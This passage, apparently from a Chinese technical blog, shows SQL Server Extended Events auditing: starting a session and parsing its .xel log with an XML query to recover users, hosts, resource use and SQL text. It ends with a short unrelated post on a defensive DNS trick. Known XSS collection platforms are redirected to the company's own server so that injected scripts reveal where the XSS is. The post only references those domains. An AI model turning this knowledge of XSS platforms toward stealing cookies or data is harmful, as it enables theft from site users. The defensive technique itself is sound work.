    STARTUP_STATE=ON
);
GO


-- We need to enable event session to capture event and event data 
ALTER EVENT SESSION [svrXEvent_User_Define_Testing]
ON SERVER STATE = START;
GO

扩展事件创建完毕并启动以后,发生在SQL Server数据库服务端的所有sql_statement_completed事件信息都会被扩展事件异步滚动记录在日志文件svrXEvent_User_Define_Testing.xel文件中

每个事件以XML格式单行写入日志文件,因此我们可以采用SQL Server提供的动态管理函数sys.fn_xe_file_target_read_file来读取和分析日志文件。
SQL Server DMF sys.fn_xe_file_target_read_file ( path, mdpath, initial_file_name, initial_offset )
以下是使用DMF全量读取所有审计日志文件记录的例子:

USE master
GO

SELECT *
FROM sys.fn_xe_file_target_read_file('C:\Temp\svrXEvent_User_Define_Testing*.xel', 
		'C:\Temp\svrXEvent_User_Define_Testing*.xem', null, null)

结果如下:

详细的日志信息在Event_data字段中,使用下面的查询语句获取更为详细的信息:

-- This is SQL 2008R2
;WITH events_cte
AS (
	SELECT
		[event_data] = T.C.query('.'),
		[event_name] = T.C.value('(event/@name)[1]','varchar(100)'),
		[event_time] = DATEADD(mi, DATEDIFF(mi, GETUTCDATE(), CURRENT_TIMESTAMP),T.C.value('(event/@timestamp)[1]','datetime2')),
		[client app name] = T.C.value('(event/action[@name="client_app_name"]/value/text())[1]', 'sysname'),
		[client host name] = T.C.value('(event/action[@name="client_hostname"]/value/text())[1]', 'sysname'),
		[database_id]= T.C.value('(event/action[@name="database_id"]/value/text())[1]', 'int'),
		[cpu time (ms)] = T.C.value('(event/data[@name="cpu"]/value/text())[1]', 'bigint'),
		[logical reads] = T.C.value('(event/data[@name="reads"]/value/text())[1]', 'bigint'),
		[logical writes] = T.C.value('(event/data[@name="writes"]/value/text())[1]', 'bigint'),
		[duration (ms)] = T.C.value('(event/data[@name="duration"]/value/text())[1]', 'bigint'),
		[row count] = T.C.value('(event/data[@name="row_count"]/value/text())[1]', 'bigint'),
		[sql_text] = T.C.value('(event/action[@name="sql_text"]/value/text())[1]','nvarchar(max)'),
		[session_id] = T.C.value('(event/action[@name="session_id"]/value/text())[1]','int'),
		[user_name] = T.C.value('(event/action[@name="username"]/value/text())[1]','sysname'),
		[is_system] = T.C.value('(event/action[@name="is_system"]/value/text())[1]','sysname'),
		[query_timestamp] = T.C.value('(event/action[@name="collect_system_time"]/value/text())[1]','bigint'),
		[query_time] = DATEADD(mi, DATEDIFF(mi, GETUTCDATE(), CURRENT_TIMESTAMP),T.C.value('(event/action[@name="collect_system_time"]/text/text())[1]','datetime2'))
	FROM sys.fn_xe_file_target_read_file('C:\Temp\svrXEvent_User_Define_Testing*.xel', 
		'C:\Temp\svrXEvent_User_Define_Testing*.xem', null, null)
		CROSS APPLY (SELECT CAST(event_data as XML) AS event_data) as T(C)
)
SELECT 
	
	cte.session_id,
	--cte.query_timestamp,
	--cte.[event_time],
	cte.[query_time],
	--cte.[event_name],
	cte.user_name,
	[database_name] = db.name,
	cte.[database_id],
	cte.[client host name],
	
	cte.[logical reads],
	cte.[logical writes],
	cte.[cpu time (ms)],
	cte.[duration (ms)],
	--cte.[plan_handle],
	cte.sql_text,
	sql_text_hash = CHECKSUM(cte.sql_text),
	cte.[client app name],
	cte.[event_data],
	cte.is_system
FROM events_cte as cte
	LEFT JOIN sys.databases as db
	on cte.database_id = db.database_id
ORDER BY [query_time] ASC
;

 

结果如下:

从这个结果集中,我们可以很清楚的知道每一条SQL语句执行的详细情况,包括:用户名、执行时间点、客户机名、逻辑读、逻辑写、CPU消耗、执行时间消耗、查询语句详情等非常重要的信息。
另外也可以传入initial_file_name和initial_offset来实现从某个日志文件的特定offset(文件内容偏移量)开始读取。

 

参考文章:
http://mysql.taobao.org/monthly/2017/06/06/
http://mysql.taobao.org/monthly/2017/07/06/
http://mysql.taobao.org/monthly/2017/08/08/
https://github.com/elastic/beats/issues/149

看到同程安全应急响应中心发的文章XSS Trap – XSS DNS防护的简单尝试的思路,很多人都是使用网络上的XSS Platform,比较常用的就那几个,另外还用公开的搭建代码搭建XSS Platform,可以通过搜索引擎收集到一些。那么如果企业中有Local DNS,那么就可以配置这些域名的解析到指定服务器,然后返回自己的JS文件,然后查看自己的XSS Platform就可以知道XSS的位置。

域名列表:https://sec.ly.com/xsspt.txt
参考文章:http://sec.ly.com/blogdetail?id=17